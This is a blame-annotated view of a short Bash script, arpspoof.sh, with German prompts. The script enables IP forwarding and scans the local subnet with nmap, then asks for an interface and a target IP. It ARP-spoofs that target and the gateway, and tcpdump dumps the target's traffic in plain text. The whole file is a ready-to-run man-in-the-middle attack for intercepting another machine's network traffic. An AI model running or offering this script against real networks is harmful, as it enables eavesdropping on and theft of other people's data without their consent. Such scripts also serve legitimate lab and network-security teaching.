shell-scripte-code/arpspoof.sh

25 lines
422 B
Bash
Raw Normal View History

2017-09-12 01:28:58 +02:00
#!/bin/bash
set -ex
2017-09-12 01:34:17 +02:00
if [[ $EUID -ne 0 ]]; then
echo "This script must be run as root" 1>&2
2018-02-02 13:30:19 +01:00
sudo $0
exit 0
2017-09-12 01:34:17 +02:00
fi
2017-09-12 01:37:03 +02:00
echo 1 > /proc/sys/net/ipv4/ip_forward
2017-09-12 22:58:37 +02:00
gateway=$(route -n|grep ^0.0.0.0|cut -d' ' -f 10)
2017-09-12 22:59:48 +02:00
arp
2017-09-12 22:58:37 +02:00
ip link
2017-09-12 01:28:58 +02:00
read -p "Wie heisst die Schnittstelle? [enp30s0\eth0] : " modul
2017-09-12 22:58:37 +02:00
nmap -sn ${gateway}/24
2017-09-12 01:28:58 +02:00
read -p "Wie heisst die IP? : " ip
arpspoof -i $modul -t $ip -r $gateway &
tcpdump -i $modul -A host $ip